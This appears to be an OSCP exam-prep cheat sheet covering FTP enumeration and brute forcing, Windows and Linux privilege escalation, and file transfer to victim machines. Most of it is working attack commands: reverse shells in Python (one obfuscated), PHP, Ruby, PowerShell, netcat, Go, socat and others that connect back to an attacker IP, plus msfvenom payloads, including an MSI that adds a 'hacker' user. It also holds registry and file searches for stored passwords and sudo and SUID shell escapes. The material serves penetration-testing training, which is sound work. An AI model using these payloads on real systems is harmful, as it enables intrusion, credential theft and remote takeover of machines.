OSCP- Enumeration FTP

FTP- File Transfer Protocol

Port number- 20 --> Data Transfer
                      21 --> Control

FTP protocol is used to transfer files from one machine to another machine. We can easily transfer data from one machine to another machine. It works in Client-Server model ie. file from Server will be transferred to the Client.


Famous FTP servers are: ProFTPD, vsftpd, PureFTPd, FileZilla. etc

Connect to a FTP server:

ftp <ip victim>
nc -nv <ip victim>

How to exploit an FTP server:


1. Try using default credentials
           anonymous: anonymous
           admin: admin
           administrator: administrator


2.  Enumeration

      nmap

f–script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum,ftp-default,ftp-user-enum

3. Finding exploits
           Common exploits for RCE, Directory Traversal, Credential Disclosure, Arbitrary File upload, SQL Injection, and Buffer Overflow.

   search for exploits
           searchsploit <web server name, version>
           https://www.exploit-db.com/



4. Brute Force

medusa -h 10.10.10.10 -u user -P passwords.txt -M ftp 

hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -f [IP] ftp

OSCP- Privilege Escalation Windows

1) Kernel Exploits:

Download windows exploit suggester and update the database excel sheet

Enter 'systeminfo' command in the victim machine, copy the output to a text file eg. sysinfo_victim.txt

./windows-exploit-suggester.py --database latest_databse_file_mssb.xlsx --systeminfo sysinfo_victim.txt

2) Search for clear passwords:

In files-

dir c:\*vnc.ini /s /b

dir c:\*ultravnc.ini /s /b 

dir c:\ /s /b | findstr /si *vnc.ini

c:\sysprep.inf

c:\sysprep\sysprep.xml

c:\unattend.xml

%WINDIR%\Panther\Unattend\Unattended.xml

%WINDIR%\Panther\Unattended.xml

Search for passwords-

--> Find all passwords in all files.

findstr /spin "password" *.*

findstr /spin "password" *.*

--> Find all those strings in config files.

dir /s *pass* == *cred* == *vnc* == *.config*

findstr /si password *.txt

findstr /si password *.xml

findstr /si password *.ini

In Registry-

—> VNC

reg query "HKCU\Software\ORL\WinVNC3\Password"

—> Windows autologin

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

—> SNMP Paramters

reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

—> Putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

—> Search for password in registry

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

3) Always Install Elevated:

To check if alwaysinstallelevated is enabled-

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

'The system was unable to find the specified registry key or value' means that the 'AlwaysInstallElevated' is not enabled.

If it is enabled, use msfvenom to generate .msi file, to install and get a reverse shell as Administrator.

 msfvenom -p windows/adduser USER=hacker PASS=myPass -f msi -o escalate.msi

4) Trusted Service Path

To check-

using wmic

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

using sc

sc query
sc qc service name

look for binaries path name with space eg. 'C:\Program Files\Anti Virus\bin\scanner.exe'

To Exploit-

Generate a reverse shell in .exe extension using msfvenom, name it as Anti.exe, for example. Save it in "C:\Program Files\Anti,exe"

Now, restart the application to run the generated Anti.exe

sc stop scanner.exe

sc start scanner.exe

5)Services only available inside the victim machine

To check-

netstat -ano

To exploit-

Port forward the service to exploit it

—> Port forward using plink

plink.exe -l attacker_username -pw attacker_pass <attackerip> -R 8080:127.0.0.1:8080

—> Port forward using meterpreter

portfwd add -l <attacker port> -p <victim port> -r <victim ip>

portfwd add -l 3306 -p 3306 -r 192.168.1.101

OSCP - Non Meterpreter Reverse Shell Cheatsheet

Non-Meterpreter Shells

1. Python:

Linux-

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Windows-

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.10.10.10', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

2. PHP:

php -r '$sock=fsockopen("<attacher_ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

3. Ruby:

Linux-

ruby -rsocket -e'f=TCPSocket.open("<attacher_ip>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<attacher_ip>","<port>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Windows-

ruby -rsocket -e 'c=TCPSocket.new("<attacher_ip>","<port>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

4. Powershell:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<attacher_ip>",<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacher_ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

5. Awk:

awk 'BEGIN {s = "/inet/tcp/0/attacher_ip>/port"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

6. Java:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<attacher_ip>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()

7. NetCat:

nc -e /bin/sh <attacher_ip> <port>

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacher_ip> <port> >/tmp/f

8. Golang:

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","<attacher_ip>:<port>");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

9. SOCAT:

Attacker

socat file:`tty`,raw,echo=0 TCP-L:<port>

Victim

/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attacher_ip>:<port>

OSCP - Meterpreter Reverse Shell Cheatsheet

Meterpreter shells:

1. Windows-

Staged Reverse TCP

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacher_ip> LPORT=<port> -f exe > reverse.exe

Stageless Reverse TCP

msfvenom -p windows/shell_reverse_tcp LHOST=<attacher_ip> LPORT=<port> -f exe > reverse.exe

2. Linux-

Staged Reverse TCP

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<attacher_ip> LPORT=<port> -f elf >reverse.elf

Stageless Reverse TCP

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacher_ip> LPORT=<port> -f elf >reverse.elf

3. Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST="<attacher_ip>" LPORT=<port> -f macho > shell.macho

4. ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST="<attacher_ip>" LPORT=<port> -f asp > shell.asp

5. JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST="<attacher_ip>" LPORT=<port> -f raw > shell.jsp

6. WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST="<attacher_ip>" LPORT=<port> -f war > shell.war

7. Python

msfvenom -p cmd/unix/reverse_python LHOST="<attacher_ip>" LPORT=<port> -f raw > shell.py

8. Bash shell

msfvenom -p cmd/unix/reverse_bash LHOST="<attacher_ip>" LPORT=<port> -f raw > shell.sh

9. Perl

msfvenom -p cmd/unix/reverse_perl LHOST="<attacher_ip>" LPORT=<port> -f raw > shell.pl

10. PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST="<attacher_ip>" LPORT=<port> -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

OSCP- Privilege Escalation Linux

First of all upgrade to TTY

• Python TTY:  python -c 'import pty; pty.spawn("/bin/sh")'
• Press 'Ctrl+Z'
• type 'stty raw -echo'
• type 'fg' and hit enter 

Tips: For more commands to spawn TTY shells (https://netsec.ws/?p=337)

Abusing SUDO rights

                       sudo - 

                       sudo -l

  

nmap	nmap --interactive !sh
vim/vi	sudo vi :shell :set shell=/bin/bash:shell :!bash
less	sudo less /etc/shadow v :shell
more	sudo more /home/pelle/myfile !/bin/bash
awk	awk 'BEGIN {system("/bin/bash")}'
nano	sudo nano /etc/sudoers
cp	overwrite /etc/shadow or /etc/sudoers
mv	Overwrite /etc/shadow or /etc/sudoers
find	sudo find / -exec bash -i \;
	find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
man	sudo man man !sh and press enter
nc
python	sudo python import os os.system("/bin/bash")
perl	sudo perl exec "/bin/bash"; ctr-d

SUID misconfigurations:

  

#Find SUID
	find / -perm -u=s -type f 2>/dev/null
#Find GUID
	find / -perm -g=s -type f 2>/dev/null

If you find any commands from the above list with SUID misconfiguration. you can use the given command to try to escalate privilege.

World Writable Scripts invoked as root:

#World writable files directories
	find / -writable -type d 2>/dev/null
	find / -perm -222 -type d 2>/dev/null
	find / -perm -o w -type d 2>/dev/null
# World executable folder
	find / -perm -o x -type d 2>/dev/null
# World writable and executable folders
	find / \( -perm -o w -perm -o x \) -type d 2>/dev/null
find / -perm -2 ! -type l -ls 2>/dev/null

Programs running as root:

   ps aux | grep root

Kernal Exploits:

  uname -a

  cat /etc/issue

  cat /proc/version

References:

https://www.rebootuser.com/?p=1623

https://guif.re/linuxeop

https://touhidshaikh.com/blog/?p=790

OSCP- File Transfer Method

Below method discuss file transfer from Attacking machine (Kali Linux) to the victim machine (Linux/ Windows) via different protocols.


1) SMB:

Attacking Machine- Kali Linux:

   Download smbserver.py 
   Run the command: python smbserver.py ROPNOP /root/shells

Victim Machine- Linux

smbclient //ip/shells -L user


Victim Machine- Windows

  net view //ip
  dir \\ip\shells
cp \\io\shells\nc.exe



2) HTTP:

Attacking Machine- Kali Linux:

   Python -m SimpleHTTPServer 80
(or)
   service apache2 start

Victim Machine- Linux

wget http://ip/file.exe


Victim Machine- Windows

  certutil.exe -urlcache -split -f "http://<ip>/file.ext" file.ext (or)
import urllib, urllib.urlretrieve ("http://IP/nc.exe", "nc.exe") (or)
(New-Object System.Net.WebClient).DownloadFile("https://example.com/archive.zip", "C:\Windows\Temp\archive.zip")
(or)
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
(or)
if gui is available (ie. RDP)




3) FTP:


Attacking Machine- Kali Linux:

   apt-get install python-pyftpdlib
    python -m pyftpdlib -p 21

Victim Machine- Linux

ftp <ip> <port>


Victim Machine- Windows

  echo open 10.9.122.8>ftp_commands.txt&echo anonymous>>ftp_commands.txt&echo password>>ftp_commands.txt&echo binary>>ftp_commands.txt&echo get met8888.exe>>ftp_commands.txt&echo bye>>ftp_commands.txt&ftp -s:ftp_commands.txt